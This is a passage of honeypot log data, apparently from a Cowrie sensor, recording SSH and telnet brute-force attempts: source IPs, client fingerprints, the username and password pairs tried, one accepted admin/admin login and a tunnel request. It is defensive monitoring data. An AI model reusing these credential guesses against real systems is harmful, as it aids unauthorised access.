16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:13.906304Z","src_ip":"162.144.64.128","session":"47d400e7d0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitstamp456","message":"login attempt [root/bitstamp456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:14.153496Z","src_ip":"162.144.64.128","session":"47d400e7d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02661108970642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:18.206859Z","src_ip":"50.62.181.92","session":"511531b749c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":17156,"dst_ip":"10.17.0.5","dst_port":22,"session":"deaf7c8691ed","protocol":"ssh","message":"New connection: 176.53.159.196:17156 (10.17.0.5:22) [session: deaf7c8691ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.272532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.276345Z","src_ip":"176.53.159.196","session":"deaf7c8691ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.378255Z","src_ip":"176.53.159.196","session":"deaf7c8691ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.677417Z","src_ip":"176.53.159.196","session":"deaf7c8691ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.779221Z","session":"deaf7c8691ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.882293Z","src_ip":"176.53.159.196","session":"deaf7c8691ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:23.984026Z","src_ip":"176.53.159.196","session":"deaf7c8691ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":53142,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9b7ad9c0691","protocol":"ssh","message":"New connection: 139.19.117.129:53142 (159.203.135.109:22) [session: e9b7ad9c0691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.053508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.057233Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.146049Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:ce:99:35:5b:c2:d6:75:cf:0c:da:cc:1d:c3:2c:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSBxcGOVf4pNhCl4tXN1ZgGz1MdEv2bdiWJdvS0YQJQEd+m2j53Hc90nYoSeQEnAJfTcAW/VR3PEZNmFbfChWSAAHGl3wuKYfUHvJ5qhSjx9mu3d5CoLdhh3mkPf4RXePegmzEc9VXmBuCmd4Ms2F+ysvu47+tSN/2bFASKwyU71xpr+jMMTAL3Xy2mBp2kXqephgmYW1w3Wv+UjgMjCttW+7p64lgUcoU5ZEH7h50IIztmTcIVvQyzffcFcB+F7aNoUpyqgJL+vlYEM0EDTZVaWFy2/SQQlZYgX9BUVNlkTehBtKk8uKfNgZ0gVfDEquleE7lc+ra+QHA+IBvrCj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:ce:99:35:5b:c2:d6:75:cf:0c:da:cc:1d:c3:2c:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.327273Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:ce:99:35:5b:c2:d6:75:cf:0c:da:cc:1d:c3:2c:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSBxcGOVf4pNhCl4tXN1ZgGz1MdEv2bdiWJdvS0YQJQEd+m2j53Hc90nYoSeQEnAJfTcAW/VR3PEZNmFbfChWSAAHGl3wuKYfUHvJ5qhSjx9mu3d5CoLdhh3mkPf4RXePegmzEc9VXmBuCmd4Ms2F+ysvu47+tSN/2bFASKwyU71xpr+jMMTAL3Xy2mBp2kXqephgmYW1w3Wv+UjgMjCttW+7p64lgUcoU5ZEH7h50IIztmTcIVvQyzffcFcB+F7aNoUpyqgJL+vlYEM0EDTZVaWFy2/SQQlZYgX9BUVNlkTehBtKk8uKfNgZ0gVfDEquleE7lc+ra+QHA+IBvrCj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.330260Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:ce:99:35:5b:c2:d6:75:cf:0c:da:cc:1d:c3:2c:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSBxcGOVf4pNhCl4tXN1ZgGz1MdEv2bdiWJdvS0YQJQEd+m2j53Hc90nYoSeQEnAJfTcAW/VR3PEZNmFbfChWSAAHGl3wuKYfUHvJ5qhSjx9mu3d5CoLdhh3mkPf4RXePegmzEc9VXmBuCmd4Ms2F+ysvu47+tSN/2bFASKwyU71xpr+jMMTAL3Xy2mBp2kXqephgmYW1w3Wv+UjgMjCttW+7p64lgUcoU5ZEH7h50IIztmTcIVvQyzffcFcB+F7aNoUpyqgJL+vlYEM0EDTZVaWFy2/SQQlZYgX9BUVNlkTehBtKk8uKfNgZ0gVfDEquleE7lc+ra+QHA+IBvrCj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:ce:99:35:5b:c2:d6:75:cf:0c:da:cc:1d:c3:2c:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.428378Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:ce:99:35:5b:c2:d6:75:cf:0c:da:cc:1d:c3:2c:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSBxcGOVf4pNhCl4tXN1ZgGz1MdEv2bdiWJdvS0YQJQEd+m2j53Hc90nYoSeQEnAJfTcAW/VR3PEZNmFbfChWSAAHGl3wuKYfUHvJ5qhSjx9mu3d5CoLdhh3mkPf4RXePegmzEc9VXmBuCmd4Ms2F+ysvu47+tSN/2bFASKwyU71xpr+jMMTAL3Xy2mBp2kXqephgmYW1w3Wv+UjgMjCttW+7p64lgUcoU5ZEH7h50IIztmTcIVvQyzffcFcB+F7aNoUpyqgJL+vlYEM0EDTZVaWFy2/SQQlZYgX9BUVNlkTehBtKk8uKfNgZ0gVfDEquleE7lc+ra+QHA+IBvrCj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:31.431283Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:41.053501Z","src_ip":"139.19.117.129","session":"e9b7ad9c0691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.95180916786194,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:47.033711Z","src_ip":"137.184.5.188","session":"f72bd1469f60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.438024282455444,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:50.771862Z","src_ip":"137.184.5.188","session":"0a77b3636cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"37.5","message":"Connection lost after 37.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:51.305402Z","src_ip":"162.144.64.128","session":"47d400e7d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":51508,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e0aa8cf04b","protocol":"telnet","message":"New connection: 137.184.5.188:51508 (159.203.135.109:23) [session: 66e0aa8cf04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:23:38.146756Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":39934,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb04c4732aa","protocol":"telnet","message":"New connection: 72.167.226.244:39934 (10.17.0.5:23) [session: fcb04c4732aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:23:45.587120Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":43586,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a863e8b8a82","protocol":"ssh","message":"New connection: 162.240.75.182:43586 (10.17.0.5:22) [session: 6a863e8b8a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:02.470714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:02.474859Z","src_ip":"162.240.75.182","session":"6a863e8b8a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:02.563796Z","src_ip":"162.240.75.182","session":"6a863e8b8a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gavin789","message":"login attempt [root/gavin789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:02.832381Z","src_ip":"162.240.75.182","session":"6a863e8b8a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:13.289599Z","src_ip":"162.240.75.182","session":"6a863e8b8a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.239068031311035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:16.826089Z","src_ip":"72.167.226.244","session":"fcb04c4732aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":60628,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df5ebda9eb3","protocol":"ssh","message":"New connection: 87.156.182.84:60628 (10.17.0.5:22) [session: 1df5ebda9eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:23.546847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:23.550626Z","src_ip":"87.156.182.84","session":"1df5ebda9eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:23.718154Z","src_ip":"87.156.182.84","session":"1df5ebda9eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd@2025","message":"login attempt [root/Asd@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:27.862569Z","src_ip":"87.156.182.84","session":"1df5ebda9eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:28.969345Z","src_ip":"87.156.182.84","session":"1df5ebda9eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":44388,"dst_ip":"10.17.0.5","dst_port":22,"session":"5019e967f48b","protocol":"ssh","message":"New connection: 103.77.175.15:44388 (10.17.0.5:22) [session: 5019e967f48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:41.827998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:41.832393Z","src_ip":"103.77.175.15","session":"5019e967f48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:42.058151Z","src_ip":"103.77.175.15","session":"5019e967f48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:42.726082Z","src_ip":"103.77.175.15","session":"5019e967f48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:24:43.950796Z","src_ip":"103.77.175.15","session":"5019e967f48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.76966762542725,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:25:06.916358Z","src_ip":"137.184.5.188","session":"66e0aa8cf04b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":43002,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8047558ad0c","protocol":"ssh","message":"New connection: 132.148.155.138:43002 (10.17.0.5:22) [session: d8047558ad0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:25:41.909615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:25:41.913676Z","src_ip":"132.148.155.138","session":"d8047558ad0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-